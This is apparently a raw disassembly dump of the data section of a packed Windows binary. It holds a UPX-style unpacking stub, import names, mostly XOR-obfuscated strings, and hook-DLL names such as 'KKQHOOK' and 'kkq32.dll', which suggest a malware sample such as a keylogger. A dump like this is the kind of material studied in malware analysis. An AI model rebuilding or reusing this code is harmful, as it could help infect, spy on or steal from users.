3B083AF4h, 0FFFFFFFFh, 3B153B10h dd 3B7E3B76h, 3C723C0Ch, 3C9F3C8Ch, 3D313D09h, 3DB93DB0h dd 3E803E3Ah, 3E9E3E97h, 0FFFFAF8Bh, 3F043EBEh, 3F4C3F35h dd 3F6E3F62h, 3FF03F7Dh, 7B1084F9h, 66FFFFF2h, 53020C0h dd 2A311131h, 6C313931h, 89317831h, 0C319831h, 0FFC00232h dd 2B3323FFh, 0C2334433h, 0B33E333h, 18341334h, 0FF8F2934h dd 58FFFFDDh, 0F334C134h, 2134FB34h, 2E352935h, 89358135h dd 0F335E5CBh, 1635FD35h, 7F462336h, 3036FFF7h, 41363936h dd 7C365836h, 0BADB8236h, 4E36DD36h, 0FF0E5338h, 38FFFFFFh dd 3890387Dh, 393E38B1h, 3A1739B1h, 3A5E3A22h, 3AC63A68h dd 3B1D3AE8h, 3B7C3B28h, 0BFB73B85h, 3BFEFFFBh, 3C683C07h dd 3C763C70h, 0B9883C80h, 3D503CE7h, 2E343D5Dh, 0FFFE453Eh dd 4A3EFFFFh, 573E503Eh, 783E6E3Eh, 0DE3ECD3Eh, 6C3F613Eh dd 933F853Fh, 0CA3FBF3Fh, 0E93FDB3Fh, 0EFFFFF3Fh, 0BFF4E81Eh dd 3089304Ch, 30DE30D9h, 30FD30F6h, 3141313Ah, 3164315Bh dd 0FFF42F10h, 319F3194h, 31AD31A8h, 31F831F2h, 1632353Fh dd 1ADFFE1Bh, 34AAC39Eh, 34CB34BAh, 350834D7h, 356E8D20h dd 0FE003780h, 35A03586h, 277835A5h, 763748h, 0F0DEDF0h dd 0A72C380Eh, 68385038h, 0BFFFB7FFh, 1438CB51h, 20391939h dd 2C392639h, 393439h, 39763961h, 398D3985h, 1B399Fh, 39A7EE0Bh dd 0D099CBACh, 0FE00ED17h, 0F539FD5Bh, 0FF39FA39h, 3A103A4Bh dd 3A1E3A18h, 0FFFFFF74h, 3AB31937h, 3B733B42h, 3BA83B81h dd 3BB43BAEh, 3BC03BBAh, 3BCC3BC6h, 3BD83BD2h, 0FFFD2FFFh dd 3BE43BDEh, 3BF03BEAh, 3DEE3DA2h, 0FA03DF3h, 213E143Eh dd 353E303Eh, 0C006423Eh, 513EFFFFh, 603E563Eh, 813E723Eh dd 903E893Eh, 473F3D3Eh, 1BFC02Bh, 913F83F0h, 0BC3FA629h dd 0D53FC43Fh, 6DB19FFh, 30F3F32Dh, 1A3015DFh, 24301F30h dd 0EDB7F824h, 302930h, 3F30F535h, 6A306530h, 0C7E61F30h dd 424E009Eh, 19974931h, 0FA064060h, 458D01A2h, 73F84473h dd 2EC49FEh, 0FB6B7068h, 302E3220h, 268B4B5Ch, 5C17809Eh dd 0F4F05C77h, 55050120h, 0B1626470h, 0A70495C4h, 0FE77AA4Eh dd 5A6AD43Bh, 536B4209h, 74726174h, 6F9C0530h, 756F7247h dd 780AD670h, 1FAC0A41h, 740582C1h, 7618D734h, 76435016h dd 6E73D55Ch, 0D01205Bh, 709FD700h, 7EDE01EDh, 0BA1D6F97h dd 8F61D00h, 155C903Eh, 323C575Dh, 6604640h, 4523FB59h dd 80082A1Fh, 0FF85F633h, 7F18177Eh, 5C661519h, 3B461E28h dd 0A4237CF7h, 80E9F30Ah, 0FEE03B24h, 1CF24362h, 18004010h dd 54680C13h, 0C9BE6176h, 111473C6h, 48100E6Ah, 0E054813Eh dd 401028h, 0EE74C2A9h, 4C1B1448h, 0A306E7E0h, 54C65660h dd 36A3090Fh, 49105AF7h, 40042005h, 64059C4Fh, 593167FBh dd 64BD2034h, 0F6C94C9Ch, 9C9CBE57h, 0CF25C6A4h, 68C0A481h dd 799FF7D0h, 681600D8h, 6ABB683Ah, 2394BE0Ah, 7FDDF348h dd 0AC7D8D59h, 0BEA4A5F3h, 7D8D0B84h, 7CA5A5D8h, 0C11BB19Eh dd 74BEF5F0h, 0B76CE80Ah, 0F84776EBh, 6468E4A5h, 0ACE6A40Bh dd 205D99BEh, 2480553Eh, 6A7BC169h, 7457B001h, 6A0F14ECh dd 350F3519h, 0F89B09E2h, 4CC4831Fh, 0CD9261C9h, 0DF08E19Ch dd 37F56AF8h, 44A66CD4h, 0D4A94005h, 73850F80h, 0BE9DF761h dd 6604EFBCh, 0FF0096F2h, 420EF7BAh, 358B0C64h, 0F4FE14ECh dd 46306767h, 19031AD6h, 0BF784783h, 5204C2EEh, 842A3C30h dd 10E1105h, 0D98B6159h, 68591E67h, 2A2039ECh, 0C8680134h dd 10FF00F3h, 1A7CAD72h, 385A13DEh, 640AEA60h, 349F74C3h dd 0D40476E0h, 112E30AFh, 7B2CEFEFh, 0D68D8D04h, 98D0FF68h dd 0BF0A5628h, 204D1DEFh, 5FBB6C51h, 8B5900B5h, 3635C096h dd 76A7962Ah, 50DD1448h, 4B65709h, 8DEA2D1Eh, 0FF33027Dh dd 20F9080Eh, 0B023B454h, 1D24575Dh, 735957B0h, 0CC510205h dd 60160000h, 1B70A028h, 19C4110h, 18013C61h, 5C21C406h dd 31004401h, 0BA4280C0h, 9384BA0Ah, 0F9773Eh, 20303104h dd 8824A692h, 1555790h, 20318804h, 0E292010Bh, 10E2090h dd 65601D4h, 4C04B2C4h, 0E6062090h, 0F1256D3Eh, 88441212h dd 0D8304116h, 7DE3D25Ch, 460AB27Bh, 0B6674456h, 85105580h dd 43EC8A36h, 315C69C4h, 20067301h, 0C54165Fh, 20F20001h dd 0F79E12Fh, 0D5656E01h, 22A0B078h, 0CE280C1h, 8DF50581h dd 840C021Fh, 744EE054h, 57AC837Ah, 68170419h, 50599604h dd 906CB05Fh, 510C02EBh, 0FD48206Ch, 7B2Ch, 71BFBC00h dd 12000000h, 0FF0000h, 6000BE60h, 0BE8D0040h, 0FFFFB000h dd 0FFCD8357h, 909010EBh, 90909090h, 8846068Ah, 0DB014707h dd 1E8B0775h, 11FCEE83h, 0B8ED72DBh, 1, 775DB01h, 0EE831E8Bh dd 11DB11FCh, 73DB01C0h, 8B0975EFh, 0FCEE831Eh, 0E473DB11h dd 0E883C931h, 0C10D7203h, 68A08E0h, 0FFF08346h, 0C5897474h dd 775DB01h, 0EE831E8Bh, 11DB11FCh, 75DB01C9h, 831E8B07h dd 0DB11FCEEh, 2075C911h, 75DB0141h, 831E8B07h, 0DB11FCEEh dd 0DB01C911h, 975EF73h, 0EE831E8Bh, 73DB11FCh, 2C183E4h dd 0F300FD81h, 0D183FFFFh, 2F148D01h, 76FCFD83h, 42028A0Fh dd 49470788h, 63E9F775h, 90FFFFFFh, 0C283028Bh, 83078904h dd 0E98304C7h, 1F17704h, 0FF4CE9CFh, 895EFFFFh, 11AB9F7h dd 78A0000h, 3CE82C47h, 80F77701h, 0F275043Fh, 5F8A078Bh dd 0E8C16604h, 10C0C108h, 0F829C486h, 1E8EB80h, 830789F0h dd 0D88905C7h, 0BE8DD9E2h, 7000h, 0C009078Bh, 5F8B3C74h dd 30848D04h, 9000h, 8350F301h, 96FF08C7h, 9050h, 47078A95h dd 0DC74C008h, 4857F989h, 0FF55AEF2h, 905496h, 74C00900h dd 83038907h, 0E1EB04C3h, 905896FFh, 0E9610000h, 0FFFFDF61h dd 26h dup(0) dd 0A070h, 0A050h, 3 dup(0) dd 0A07Dh, 0A060h, 3 dup(0) dd 0A08Ah, 0A068h, 5 dup(0) dd 0A094h, 0A0A2h, 0A0B2h, 0 dd 0A0C0h, 0 dd 0A0CEh, 0 aKernel32_dll_1 db 'KERNEL32.DLL',0 aAdvapi32_dll_0 db 'ADVAPI32.dll',0 aMsvcrt_dll db 'MSVCRT.dll',0 align 2 aLoadlibrarya db 'LoadLibraryA',0 align 10h aGetprocaddress db 'GetProcAddress',0 align 10h aExitprocess db 'ExitProcess',0 dd 65520000h, 6F6C4367h, 654B6573h, 79h, 646E6172h, 4Ch dup(0) dd 6, 12h dword_445458 dd 4Ch ; sub_408403:loc_408432r ... aFj_ db 'fj:.',0 ; DATA XREF: sub_40849F+12o aSHqZt db 's+HQ-ZT',0 ; DATA XREF: sub_40849F+25o byte_445469 db 0 ; DATA XREF: sub_40849F+55o word_44546A dw 59h ; DATA XREF: sub_40849F+E7r dword_44546C dd 4F5A53h aCBoot_sys db 'c:\boot.sys',0 ; DATA XREF: sub_4085C0+38o aCjA db '%CJ a/',0 ; DATA XREF: sub_4085C0+4Bo aZ db ' < z',0 ; DATA XREF: sub_4085C0+AAo align 4 dword_44548C dd 11h, 0Fh dup(0)dword_4454CC dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h ; DATA XREF: sub_408886+13o dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh, 280E85D5h dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h, 14F80518h dd 6E0637BFh, 7, 0Fh dword_445514 dd 0 ; .text:loc_40873Cr ... dword_445518 dd 0 dword_44551C dd 2 dd 0Ah dword_445524 dd 0 ; .text:loc_40881Cr ... aV2 db 'V& 2',0 ; DATA XREF: sub_408886+2Bo aS91rndu db 's91RNDU',0 ; DATA XREF: sub_4088C3+19o aKsh4 db ' KSh/4',0 ; DATA XREF: sub_4088C3+41o dw 7 unicode 0, <>,0 dd 11h dword_445544 dd 0 ; .text:loc_408A01r ... aVyfuC_0 db '+vyfu C',0 ; DATA XREF: sub_408A61+16o dword_445550 dd 0FFFFFFFFh dd 2Ah dup(0FFFFFFFFh), 3Eh, 3 dup(0FFFFFFFFh), 3Fh, 34h dd 35h, 36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh, 7 dup(0FFFFFFFFh) dd 0 dd 1, 2, 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh dd 0Fh, 10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h, 18h, 19h dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh, 1Ch, 1Dh, 1Eh, 1Fh, 20h dd 21h, 22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h, 2Ah, 2Bh dd 2Ch, 2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh) a7cx_0 db '#7CX|',0 ; DATA XREF: sub_408A61+EEo align 4 off_445958 dd offset loc_408B05 ; DATA XREF: sub_408A61+95r dd offset loc_408B0D dd offset loc_408B33 dd offset loc_408B70 aNF8 db '=n`F8',0 ; DATA XREF: sub_408BEF+4Ao a5papg db '*5pApG&',0 ; DATA XREF: sub_408C98+351o byte_445976 db 0 ; DATA XREF: sub_408C98+558o byte_445977 db 0 ; DATA XREF: sub_408C98+66Co a6K db '6#,K',0 ; DATA XREF: sub_408C98+88Co word_44597D dw 20h ; DATA XREF: sub_408C98+950r aRjhghl6 db 'RJHGHl6',0 ; DATA XREF: sub_408C98+975o dword_445987 dd 243531h byte_44598B db 36h ; DATA XREF: sub_408C98+A2Ao db 2Fh, 0 dword_44598E dd 3F5F20h aXei? db ' xeI?<',0 ; DATA XREF: sub_4096E4+26o aZmbL db 'zMB%L ',0 ; DATA XREF: sub_4096E4+39o aCdeDa db '<Cde;Da',0 ; DATA XREF: sub_4096E4+4Co dword_4459A8 dd 417F2053h, 695A5Fhword_4459B0 dw 80h ; DATA XREF: sub_4096E4+E1r aJsz db ' jSZ',0 ; DATA XREF: sub_4096E4+1E5o aEq db '`<|',27h,'&eq',0 ; DATA XREF: sub_4096E4+356o dword_4459BF dd 6F816Ch dword_4459C3 dd 6E8254h aQutqT db '%Qutq t',0 ; DATA XREF: sub_4096E4+4B1o dword_4459CF dd 3C3370h dword_4459D3 dd 69207Fh dword_4459D7 dd 354547h aBPA db '&B /p%€',0 ; DATA XREF: sub_4096E4+6E7o aEijF db 'eiJ=+f',0 ; DATA XREF: sub_4096E4+8C2o a2qZg8 db '2q %ZG8',0 ; DATA XREF: sub_4096E4+A82o aMZ4 db '%,m z4',0 ; DATA XREF: sub_4096E4+B0Eo word_4459F9 dw 52h ; DATA XREF: sub_4096E4+B1Br word_4459FB dw 34h ; DATA XREF: sub_4096E4+B40r aJzft db ' jzFt',0 ; DATA XREF: sub_4096E4+B7Do aEGry db 'E=GrY',0 ; DATA XREF: sub_4096E4+BEAo word_445A09 dw 20h ; DATA XREF: sub_4096E4+D60r dword_445A0B dd 765868h aCQtV db 'C-qT~V',0 ; DATA XREF: sub_40A4E2+21o aD9u5 db 'd 9u5',0 ; DATA XREF: sub_40A4E2+45o aSgl db '+SƒL',0 ; DATA XREF: sub_40A4E2+EEo dword_445A22 dd 487452h aVSl db '!‚*SL',0 ; DATA XREF: sub_40A4E2+1F4o word_445A2C dw 2Fh ; DATA XREF: sub_40A4E2+202r aRL db '&R:L',0 ; DATA XREF: sub_40A4E2+273o a82q0vu db '82Q0vu ',0 ; DATA XREF: sub_40A4E2+2F8o byte_445A3B db 0 ; DATA XREF: sub_40A4E2+3D4o aDsh_i db 'DSH.i',0 ; DATA XREF: sub_40A4E2+3F4o aX_ db 'X.',0 ; DATA XREF: sub_40A4E2+467o aGp db '%gp&',0 ; DATA XREF: sub_40A4E2+4F6o byte_445A4A db 0 ; DATA XREF: sub_40A4E2+539o aF db ' F',0 ; DATA XREF: sub_40A4E2+592o aO?gv db 'O?g‚',0 ; DATA XREF: sub_40A4E2+6A1o word_445A53 dw 78h ; DATA XREF: sub_40A4E2:loc_40AC92r aLwld db 'lwld%',0 ; DATA XREF: sub_40ACD5+3Eo byte_445A5B db 0 ; DATA XREF: sub_40ACD5+A8o word_445A5C dw 20h ; DATA XREF: sub_40ADF7+Cr aE_2 db '~ E- ',0 ; DATA XREF: sub_40ADF7+C0o aZmm db 'ZmM&',0 ; DATA XREF: sub_40ADF7+18Do word_445A69 dw 76h ; DATA XREF: sub_40ADF7:loc_40B0DCr dword_445A6B dd 202B67h dword_445A6F dd 704120h aFna@ db 'FnA@ :',0 ; DATA XREF: sub_40ADF7+6CBo a2z db '<2Z !',0 ; DATA XREF: sub_40ADF7+767o aCFw db 'C-FW',0 ; DATA XREF: sub_40ADF7+85Ao align 4 byte_445A88 db 0F0h, 0 ; DATA XREF: sub_40ADF7+81Bo word_445A8A dw 0FAFDh ; DATA XREF: sub_40ADF7+723o db 0 aEustXDqSedsq_1 db '¥ž‘’œ•ЄŸÐ‘…„˜Ÿ‚™Š•',0 ; DATA XREF: sub_40ADF7+616o aEustXDqSedsq_0 db '¥ž‘’œ•ЄŸÐ‘…„˜Ÿ‚™Š•ÐÝй¾³¿¢¢µ³¤Ð ¹¾ÞÐ œ•‘ƒ•ÜГŸ‚‚•“„Þ',0 ; DATA XREF: sub_40ADF7+604o aGG_2 db 'ÕƒÝÕƒ',0 ; DATA XREF: sub_40ADF7+456o aAXsgxGxXudIa_0 db ' œ•‘ƒ•ÜЃ•œ•“„еˆ€™‚‘„™ŸžÐ©•‘‚',0 ; DATA XREF: sub_40ADF7+417o aGG_1 db 'ÕƒÐÕƒ',0 ; DATA XREF: sub_40ADF7+39Bo ; sub_40ADF7+65Do aAXsgxGxXudIasv db ' œ•‘ƒ•ÜЃ•œ•“„еˆ€™‚‘„™ŸžÐ½Ÿž„˜',0 ; DATA XREF: sub_40ADF7+353o aG db 'Õƒ',0 ; DATA XREF: sub_40ADF7+2F4o aGMGmUavqugxvjx db '³¼£¹´¬Õƒ¬¹ž ‚Ÿ“£•‚†•‚ÃÂ',0 ; DATA XREF: sub_40A4E2+6CEo aJ db '¦',0 ; DATA XREF: sub_40A4E2+6B0o asc_445B3F db '»',0 ; DATA XREF: sub_40A4E2+684o aGqcdzsvxmSuv_0 db '£Ÿ–„‡‘‚•¬½™“‚ŸƒŸ–„¬§™ž”Ÿ‡ƒ¬³…‚‚•ž„¦•‚ƒ™Ÿž¬£˜•œœ£•‚†™“•¿’š•“„´•œ‘‰' ; DATA XREF: sub_40A4E2+651o db '¼Ÿ‘”',0 aVxcsgdxvgxvjsu db '¢•—™ƒ„•‚£•‚†™“• ‚Ÿ“•ƒƒ',0 ; DATA XREF: sub_40A4E2+55Ao aIxvuxF db '›•‚ž•œÃÂÞ”œœ',0 ; DATA XREF: sub_40A4E2+546o aMtqqdGig db '¬’ŸŸ„Þƒ‰ƒ',0 ; DATA XREF: sub_40A4E2+404o aDatkkq32_dll db 'datkkq32.dll',0 ; DATA XREF: sub_40A4E2+3B9o aDnkkq_dll db 'dnkkq.dll',0 ; DATA XREF: sub_40A4E2+398o aKkq32_dll db 'kkq32.dll',0 ; DATA XREF: sub_40A4E2+372o aGmG db 'Õƒ¬Õƒ',0 ; DATA XREF: sub_40A4E2+368o ; sub_40A4E2+38Eo ... aGmGXix db 'Õƒ¬ÕƒÞ•ˆ•',0 ; DATA XREF: sub_40A4E2+2AFo aXustXfgc db '•ž‘’œ•”ƒ–',0 ; DATA XREF: sub_40A4E2+C1o aMfvsjxvgmufsgv db '¬”‚™†•‚ƒ¬ž”™ƒ‚”Þƒ‰ƒ',0 ; DATA XREF: sub_40A4E2+54o dbl_445C04 dq 1.2 ; DATA XREF: sub_4096E4:loc_40A383r aUxzjxv db 'ž•‡†•‚',0 ; DATA XREF: sub_4096E4+C12o aIf db 'ˆ”Â',0 ; DATA XREF: sub_4096E4+BA0o aZeaf db '‡…€”Ð',0 ; DATA XREF: sub_4096E4+AD5o aGG_0 db 'ÕƒÐß³ÐÕƒ',0 ; DATA XREF: sub_4096E4+A8Co aMuqaasufUqa db '¬“Ÿ‘ž”Þ“Ÿ',0 ; DATA XREF: sub_4096E4+A35o aGmuqaasufAsc db 'Õƒ¬“Ÿ‘ž”Þ€™–',0 ; DATA XREF: sub_4096E4+A10o aMuafXix db '¬“”Þ•ˆ•',0 ; DATA XREF: sub_4096E4+9DCo aGmuafAsc db 'Õƒ¬“”Þ€™–',0 ; DATA XREF: sub_4096E4+9BCo aE_1 db 'ÊÕÀÂ…',0 ; DATA XREF: sub_4096E4+934o aFaa db 'Ï”€ÍÂ',0 ; DATA XREF: sub_4096E4+807o aGmGDaa db 'Õƒ¬ÕƒÞ„€',0 ; DATA XREF: sub_4096E4+6BEo aZagd db '‡€ƒ„Ð',0 ; DATA XREF: sub_4096E4+469o aB db '',0 ; DATA XREF: sub_4096E4+245o ; sub_4096E4+518o ... aScuE db 'Ï™–“ÍÕ…',0 ; DATA XREF: sub_4096E4+1F4o aScu db '™–“',0 ; DATA XREF: sub_4096E4+1A9o ; sub_4096E4+2D2o aGqcdzsvxmSuvqg db '£Ÿ–„‡‘‚•¬½™“‚ŸƒŸ–„¬§™ž”Ÿ‡ƒ',0 ; DATA XREF: sub_4096E4+197o ; sub_4096E4+2C0o aZuxgAsa db '߇“•ƒÞ€˜€',0 ; DATA XREF: sub_4096E4+165o asc_445CA6 db 'ß',0 ; DATA XREF: sub_4096E4+130o aSddaG db '˜„„€ÊßßÕƒ',0 ; DATA XREF: sub_4096E4+F0o aGmGFsd db 'Õƒ¬ÕƒÞ”‘„',0 ; DATA XREF: sub_4096E4+A4o ; sub_4096E4+B4Fo aSuiUuxDqQudsue db '³œ™“›Ð¿ž“•ФŸÐ³Ÿž„™ž…•',0 ; DATA XREF: sub_408C98+7C6o aEdd db '²¥¤¤¿¾',0 ; DATA XREF: sub_408C98+7B4o aD db 'µ´¹¤',0 ; DATA XREF: sub_408C98+6BFo ; sub_408C98+739o aAXsgxAsixUqvvx db ' œ•‘ƒ•Б›•ГŸ‚‚•“„™ŸžƒÐ‘ž”Є‚‰Ð‘—‘™žÞ',0 ; DATA XREF: sub_408C98+5FCo aEustXDqSedsqvs db '¥ž‘’œ•ЄŸÐ‘…„˜Ÿ‚™Š•Þб¤½Ð ¹¾Ý³Ÿ”•ЙƒÐ‚•…™‚•”ЄŸÐ“Ÿ€œ•„•Є˜•Є‚‘' ; DATA XREF: sub_408C98+577o db 'žƒ‘“„™ŸžÞ',0 aDAQfx db '±¤½Ð ¹¾Ý³Ÿ”•',0 ; DATA XREF: sub_408C98+4EDo aIasvsdsquFsdx db 'µˆ€™‚‘„™ŸžÐ”‘„•',0 ; DATA XREF: sub_408C98+477o aIqevUsvfUeatxv db '©Ÿ…‚Г‘‚”О…’•‚',0 ; DATA XREF: sub_408C98+405o aE_0 db 'ÂÀÕÞÂ…',0 ; DATA XREF: sub_408C98+3A0o aE db 'ÕÞÂ…',0 ; DATA XREF: sub_408C98+35Bo aI_1 db '³¿½²¿²¿¨',0 ; DATA XREF: sub_408C98+262o ; sub_408C98+2CEo dword_445D94 dd 0D0D0D0FAh, 988485B1h, 8A99829Fh, 9F998491h, 91B6D09Eh ; DATA XREF: sub_408C98+120o dd 94959C99h db 0DEh, 0 aGdD db '£¤±¤¹³',0 ; DATA XREF: sub_408C98+10Eo ; sub_408C98+17Bo ... aKkqhook db 'KKQHOOK',0 ; DATA XREF: sub_408C98+F3o ; sub_4096E4+25Bo ... align 2 aIaQvxv db 'µˆ€œŸ‚•‚',0 ; DATA XREF: sub_408C98+3Co ; sub_40ADF7+9Bo aQuTXud db '´Ÿ“¿’š•“„',0 ; DATA XREF: sub_408C98+20o ; sub_40ADF7+7Do byte_445DD1 db 1Bh, 24h, 2Ah ; DATA XREF: sub_4085C0+104o dd 3F226923h, 4686722h, 26333467h, 24673335h, 28251B7Dh dd 34693328h db 3Eh, 34h, 0 aB4I7_ db 'b4',1Bh,'$*#i7.!',0 ; DATA XREF: sub_4085C0+D0o a5Tui db 1Bh,',"5)"+tui#++',0 ; DATA XREF: sub_40849F+86o a?8 db '?8',0 ; DATA XREF: sub_4081B0+20Eo byte_445E0B db 42h ; DATA XREF: sub_406E3F+F3Bo dd 0B03030Bh, 0D420900h, 1E0D1B08h db 9, 0 word_445E1A dw 0B42h ; DATA XREF: sub_406E3F+F0Eo dd 0B0303h db 9, 42h, 0 byte_445E23 db 4Ch ; DATA XREF: sub_406E3F+E81o db 0 byte_445E25 db 56h, 0 ; DATA XREF: sub_406E3F+DF6o aLi4v db 'LI4V',0 ; DATA XREF: sub_406E3F+D91o byte_445E2C db 10h, 0 ; DATA XREF: sub_406E3F+6EEo aP3i4a3i4rl db 'P*>-!)3I4A*#>!3I4RL',0 ; DATA XREF: sub_406E3F+641o aPA3i4rl db 'P!-%"<+A*#>!3I4RL',0 ; DATA XREF: sub_406E3F+5F0o aName: ; DATA XREF: sub_406E3F+2Ao unicode 0, <name>,0 align 10h aValue: ; DATA XREF: sub_406E3F+15o unicode 0, <value>,0 dword_445E6C dd 3B2A2004h, 2F263A26h, 2700693Dh, 273B2C3Dh, 0C693D2Ch ; DATA XREF: sub_406B40+97o dd 26253931h, 3B2C3Bh a9ba05972F6a811: ; DATA XREF: sub_406A44+45o unicode 0, <{9BA05972-F6A8-11CF-A442-00A0C90A8F39}>,0 aHtml db '<HTML><!--',0 ; DATA XREF: sub_4063A9+428o ; sub_4063A9+433o ... aXOkrecv11 db 'X-okRecv11',0 ; DATA XREF: sub_4063A9+370o aUts db 'îâáÕÆÊÂ',0 ; DATA XREF: sub_4063A9+2EBo aVVZkzZuZt db '‚Ô‚Ò‡Š‡êÎÄÕÈÔÈÁÓ‡îÉÓÂÕÉÂÓ‡âß×ËÈÕÂÕ',0 ; DATA XREF: sub_4063A9+299o byte_445F17 db 0FBh ; DATA XREF: sub_4063A9+19Ao aUIZ db 'îÂß×ËÈÕ‰Â߇',0 word_445F26 dw 0C6F7h ; DATA XREF: sub_4063A9+89o db 0D3h, 0CFh, 0 byte_445F2B db 0F4h ; DATA XREF: sub_4063A9+77o dd 0D0D3C1C8h, 0FBC2D5C6h, 0D5C4CEEAh, 0C1C8D4C8h, 0E2EEFBD3h dd 0D3C2F487h, 0F4FBD7D2h, 0D7D2D3C2h db 0 byte_445F4D db 0E6h, 2 dup(0D7h) ; DATA XREF: sub_406081+2F8o dd 0C9C2D1E2h, 0F4FBD4D3h, 0CAC2CFC4h, 0E6FBD4C2h, 0FBD4D7D7h dd 0CBD7DFE2h, 0D5C2D5C8h, 0D3C4E6FBh, 0D3C6D1CEh, 0E3C0C9CEh dd 0CAD2C4C8h, 0FBD3C9C2h, 0D5D2E489h, 0D3C9C2D5h db 0 byte_445F89 db 0E6h, 2 dup(0D7h) ; DATA XREF: sub_406081+2C8o dd 0C9C2D1E2h, 0F4FBD4D3h, 0CAC2CFC4h, 0E6FBD4C2h, 0FBD4D7D7h dd 0CBD7DFE2h, 0D5C2D5C8h, 0D1C6E9FBh, 0D3C6C0CEh, 0FBC0C9CEh dd 0D5D2E489h, 0D3C9C2D5h db 0 byte_445FBD db 0E0h, 0CBh, 0C8h ; DATA XREF: sub_406081+294o dd 0F2CBC6C5h, 0E8D5C2D4h, 0CECBC1C1h db 0C9h, 0C2h, 0 byte_445FCF db 0F4h ; DATA XREF: sub_406081+282o dd 0D0D3C1C8h, 0FBC2D5C6h, 0D5C4CEEAh, 0C1C8D4C8h, 0CEF0FBD3h dd 0D0C8C3C9h, 0D2E4FBD4h, 0C9C2D5D5h, 0D5C2F1D3h, 0C9C8CED4h dd 0D3C9EEFBh, 0C2C9D5C2h, 0C2F487D3h, 0C9CED3D3h db 0C0h, 0D4h, 0 aI_0 db 'ÎÂß×ËÈÕ‰ÂßÂ',0 ; DATA XREF: sub_406081+245o dword_446018 dd 0F4FBD482h, 0D0D3C1C8h, 0FBC2D5C6h, 0D5C4CEEAh, 0C1C8D4C8h ; DATA XREF: sub_406081+219o dd 0C9EEFBD3h, 0C9D5C2D3h, 0E287D3C2h, 0C8CBD7DFh, 0FBD5C2D5h dd 0C9CEC6EAh, 0C6C2E1FBh, 0C2D5D2D3h, 0D3C9C8E4h, 0FBCBC8D5h dd 0F3E6E2E1h, 0F8E2F5F2h, 0E6E4E8EBh, 0E4E6EAEBh, 0E2E9EEEFh dd 0E4E8EBF8h, 0F0E8E3ECh db 0E9h, 0 word_446072 dw 0C2DEh ; DATA XREF: sub_406081+1AFo db 0D4h, 0 word_446076 dw 0D5E5h ; DATA XREF: sub_406081+19Do dd 0C2D4D0C8h, 0F7D0C2E9h, 0C2C4C8D5h db 2 dup(0D4h), 0 byte_446087 db 89h ; DATA XREF: sub_406081+18Bo dd 0E6E1E2E3h, 0FBF3EBF2h, 0F3E1E8F4h, 0E2F5E6F0h, 0C4CEEAFBh dd 0C8D4C8D5h, 0F0FBD3C1h, 0C8C3C9CEh, 0E4FBD4D0h, 0C2D5D5D2h dd 0C2F1D3C9h, 0C8CED4D5h, 0DFE2FBC9h, 0D5C8CBD7h, 0E5FBD5C2h dd 0D4D0C8D5h, 0D0C2E9C2h, 0C4C8D5F7h, 0D4D4C2h dword_4460D4 dd 0F3E1E8F4h, 0E2F5E6F0h, 0CBC8F7FBh, 0C2CEC4CEh, 0CEEAFBD4h ; DATA XREF: sub_406081+E7o dd 0D4C8D5C4h, 0FBD3C1C8h, 0C3C9CEF0h, 0FBD4D0C8h, 0D5D5D2E4h dd 0F1D3C9C2h, 0CED4D5C2h, 0EEFBC9C8h, 0D5C2D3C9h, 87D3C2C9h dd 0D3D3C2F4h, 0D4C0C9CEh, 0C9C8FDFBh, 82FBD4C2h db 0D2h, 0 aCscc db '–‘—–',0 ; DATA XREF: sub_406081+90o ; sub_406081+BEo ... byte_446127 db 0F4h ; DATA XREF: sub_406081+5Bo dd 0F0F3E1E8h, 0FBE2F5E6h, 0D5C4CEEAh, 0C1C8D4C8h, 0CEF0FBD3h dd 0D0C8C3C9h, 0D2E4FBD4h, 0C9C2D5D5h, 0D5C2F1D3h, 0C9C8CED4h dd 0D3C9EEFBh, 0C2C9D5C2h, 0C2F487D3h, 0C9CED3D3h, 0FDFBD4C0h dd 0D4C2C9C8h, 0D282FBh aIiS_3 db '›ˆÏÓÊË™',0 ; DATA XREF: sub_4056EE+8B8o aIiS_2 db '›ˆÅÈÃÞ™',0 ; DATA XREF: sub_4056EE+89Bo aIiS_1 db '›ˆÔÄÕÎ×Ó™',0 ; DATA XREF: sub_4056EE+873o word_446186 dw 0C2D4h ; DATA XREF: sub_4056EE+80Do dd 0CACEF3D3h, 0D3D2C8C2h, 0D482858Fh, 8B858E8Fh, 9C8ED282h db 0 byte_44619D db 0DAh, 0 ; DATA XREF: sub_4056EE+7F5o aIvIPo db 'ÃÈÄÒÊÂÉÓ‰‚Ô‰ÔÒÅÊÎÓŽœ',0 ; DATA XREF: sub_4056EE+7ABo aZvPo db 'ÁÒÉÄÓÎÈɇ‚ÔŽÜ',0 ; DATA XREF: sub_4056EE+76Fo aVVix db '‚Ä‚‰•Ò',0 ; DATA XREF: sub_4056EE+716o aIS_2 db '›ÔÄÕÎ×Ó™',0 ; DATA XREF: sub_4056EE+6DEo aIiS_0 db '›ˆÁÈÕÊ™',0 ; DATA XREF: sub_4056EE+6C1o aIZEEzAas db '›ÎÉ×ÒÓ‡ÓÞך…ÔÒÅÊÎÓ…‡ÑÆËÒš€€™',0 ; DATA XREF: sub_4056EE+6A9o aV db '‚ÔÛ',0 ; DATA XREF: sub_4056EE+56Fo aIZEEzAvAzAvVAs db '›ÎÉ×ÒÓ‡ÓÞך…ÂÃÎÓ…‡ÑÆËÒš€‚Ô€‡ÉÆÊš€‚Ô‚Ò€™›ÅÕ™ª',0 ; DATA XREF: sub_4056EE+4A6o ; sub_4056EE+617o aIZEEzAvAzAAsiS db '›ÎÉ×ÒÓ‡ÓÞך…ÂÃÎÓ…‡ÑÆËÒš€‚Ò€‡ÉÆÊš€Æ€™›ÅÕ™ª',0 ; DATA XREF: sub_4056EE+328o word_44625E dw 0C19Bh ; DATA XREF: sub_4056EE+2DAo dd 87CAD5C8h, 0CED3C4C6h, 859AC9C8h, 8785D482h, 0CFD3C2CAh dd 859AC3C8h, 0F3F4E8F7h, 0C6C98785h, 859AC2CAh, 9985D482h db 0 aVif db 'Á‚‰”Ò',0 ; DATA XREF: sub_4056EE+288o 